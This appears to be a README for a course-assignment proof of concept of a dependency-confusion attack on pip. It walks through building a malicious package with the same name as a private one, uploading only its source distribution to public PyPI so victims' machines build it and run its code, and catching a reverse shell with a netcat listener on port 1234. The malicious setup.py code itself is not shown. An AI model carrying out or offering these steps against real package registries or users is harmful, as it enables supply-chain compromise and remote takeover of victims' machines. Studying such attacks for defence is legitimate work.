It's important to be aware that packages installation via pip install
command have the ability to execute python code as part of the install process. For CMPT785 course assignment2 poc usage - requirements.txt has --extra-index-url
to point to private registry but pip install will check Pypi first. By uploading malicious package with the same name in Pypi, program will download the malicious version and pip install can give a reverse shell to the attacker.
- Install the package build process dependencies
python -m pip install --user --upgrade setuptools wheel twine
- cd to the directory of setup.py, use this command to build the package
python setup.py sdist bdist_wheel
- After build, remember either remove the
.whl
file from/dist
folder or during the upload process, only upload the.tar.xz
one. The reason is that we want victims' to build the package themselves in order to get the malicious code execute on victims' machine.
twine upload dist/*.tar.xz
- It will prompt you to enter your username and password in Pypi.org
Two terminal windows. (If two machines, change the code in setup.py)
Attacker: Listen on 1234 port with netcatnc -lvp 1234
Victim: Execute pip install commandpip install much_needed_py_package
We can see in attacker's window, a reverse shell is estatblished.